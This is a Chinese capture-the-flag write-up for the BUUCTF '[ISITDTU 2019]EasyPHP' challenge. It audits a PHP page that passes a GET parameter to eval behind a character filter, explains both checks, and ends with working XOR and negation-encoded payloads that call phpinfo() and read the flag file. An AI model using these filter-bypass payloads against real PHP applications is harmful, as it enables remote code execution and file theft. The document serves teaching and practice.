进入题目页面如下
给出PHP源码进行代码审计
php"><?php
// 高亮显示当前文件的源代码
highlight_file(__FILE__);// 从 GET 请求中获取名为 '_' 的参数,并将其赋值给变量 $_
// @ 符号用于抑制可能出现的错误信息
$_ = @$_GET['_'];// 使用正则表达式对 $_ 变量的值进行匹配检查
// 正则表达式 /[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i 表示匹配 ASCII 码从 0x00 到空格字符、数字 0 - 9、单引号、双引号、反引号、美元符号、& 符号、逗号、点号、竖线、左方括号、左花括号、下划线、字母 d、e、f、g、o、p、s 以及 ASCII 码为 0x7F 的字符
// 如果匹配成功,输出 'rosé will not do it' 并终止脚本执行
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )die('rosé will not do it');// 使用 count_chars 函数统计 $_ 变量值中不同字符的数量
// strtolower($_) 将 $_ 变量的值转换为小写
// 0x3 是 count_chars 函数的第二个参数,表示返回一个数组,数组的键是字符的 ASCII 码,值是该字符在字符串中出现的次数
// strlen 函数用于计算这个数组的长度
// 如果数组长度大于 0xd(即十进制的 13),输出 'you are so close, omg' 并终止脚本执行
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )die('you are so close, omg');// 如果前面的条件都不满足,使用 eval 函数执行 $_ 变量的值
// eval 函数会将传入的字符串作为 PHP 代码进行执行
eval($_);
?>
代码审计
任意代码执行风险:代码中使用了 eval 函数,并且该函数的输入来自用户通过 GET 请求传递的参数 _。只要用户输入的内容通过了前面的正则表达式和字符数量检查,就会被作为 PHP 代码执行。这是一个非常严重的安全漏洞,攻击者可以利用这个漏洞执行任意 PHP 代码,例如读取敏感文件、执行系统命令、篡改数据库等。
正则表达式过滤不严谨:正则表达式虽然对输入进行了一定的过滤,但仍然可能存在绕过的方法。攻击者可以尝试使用未被过滤的字符组合来构造恶意代码。
字符数量限制可绕过:字符数量的限制可以通过巧妙构造代码来绕过,例如使用重复字符或使用编码技巧来减少不同字符的数量。
这里需要绕过两个if执行命令
php">if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )die('rosé will not do it');
// 使用 count_chars 函数统计 $_ 变量值中不同字符的数量
// strtolower($_) 将 $_ 变量的值转换为小写
// 0x3 是 count_chars 函数的第二个参数,表示返回一个数组,数组的键是字符的 ASCII 码,值是该字符在字符串中出现的次数
// strlen 函数用于计算这个数组的长度
// 如果数组长度大于 0xd(即十进制的 13),输出 'you are so close, omg' 并终止脚本执行
正则表达式 /[\x00- 0-9\'"
$&.,|[{_defgops\x7F]+/i` 详细解析
整体结构
是一个使用 preg_match
函数的正则表达式,preg_match
用于在字符串中查找匹配的模式。该正则表达式的目的是检查字符串中是否包含特定范围的字符。
正则表达式整体使用了 /
作为分隔符,结尾的 i
是一个修饰符,表示不区分大小写匹配。
+
是量词,表示匹配前面的字符组一次或多次。
-
字符组
[]
内容分析\x00-
:\x00
表示 ASCII 码为 0 的空字符,这里的-
本意可能是想表示一个范围,但由于后面紧跟空格,它在这里的语义会根据正则表达式引擎的解析规则有所不同,不过一般来说它会被当作普通字符处理。0-9
:表示匹配数字 0 到 9 中的任意一个数字。'
:表示匹配单引号字符。"
:表示匹配双引号字符。`
:表示匹配反引号字符。$
:表示匹配美元符号字符。&
:表示匹配&
符号字符。.
:表示匹配点号字符。,
:表示匹配逗号字符。|
:表示匹配竖线字符。[
:表示匹配左方括号字符。{
:表示匹配左花括号字符。_
:表示匹配下划线字符。defgops
:表示匹配字符d
、e
、f
、g
、o
、p
、s
中的任意一个。\x7F
:表示 ASCII 码为 127 的删除字符。
如果输入的字符串 $_
中包含上述字符组中定义的任意一个或多个字符,preg_match
函数将返回 1
(表示匹配成功),此时代码会执行 die('rosé will not do it');
终止程序并输出错误信息。只有当输入字符串中不包含这些字符时,程序才会继续执行后续代码。
第二个if
php">if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )die('you are so close, omg');
// 如果前面的条件都不满足,使用 eval 函数执行 $_ 变量的值
// eval 函数会将传入的字符串作为 PHP 代码进行执行
1. strtolower($_)
strtolower 是 PHP 内置函数,其作用是将字符串中的所有大写字母转换为小写字母。这里将用户输入的字符串 $_ 转换为小写形式,以确保后续统计字符时不区分大小写。
2. count_chars(strtolower($_), 0x3)
count_chars 函数用于统计字符串中每个字符出现的频率,并根据第二个参数指定的返回模式返回结果。
第二个参数 0x3 是十六进制表示,对应的十进制是 3。当 count_chars 函数的第二个参数为 3 时,它会返回一个由字符串中出现过的所有不同字符组成的新字符串,且这些字符按 ASCII 码顺序排列。
所以 count_chars(strtolower($_), 0x3) 会返回一个包含用户输入字符串中所有不同小写字符的新字符串。
3. strlen(count_chars(strtolower($_), 0x3))
strlen 函数用于计算字符串的长度。这里使用 strlen 计算 count_chars(strtolower($_), 0x3) 返回的字符串的长度,也就是用户输入字符串中不同小写字符的数量。
4. strlen(count_chars(strtolower($_), 0x3)) > 0xd
这是一个比较表达式,将计算得到的不同小写字符的数量与十六进制数 0xd(即十进制的 13)进行比较。如果不同小写字符的数量大于 13,则条件为真。
5. die('you are so close, omg');
如果上述比较表达式的结果为真,die 函数会终止当前脚本的执行,并输出 you are so close, omg 作为错误信息。
这里做着没有思路了qyq,去看了大佬的博客,链接如下
BUUCTF:[ISITDTU 2019]EasyPHP_buuctf [isitdtu 2019]easyphp-CSDN博客
大佬用了phpinfo()函数绕过
?_=%8F%97%8F%96%91%99%90
再查看disable_functions
发现有n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt
最后构造payload
?_=
((%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%8d%9e%8d)^(%8d%99%8d)^(%9a%96%9b)^(%ff%ff%ff))(((%8d%9e%8d%9e%8d%8d%8d)^(%9a%9b%8d%99%8d%8d%9a)^(%9b%99%9e%96%9b%96%9a)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));
最终得到flag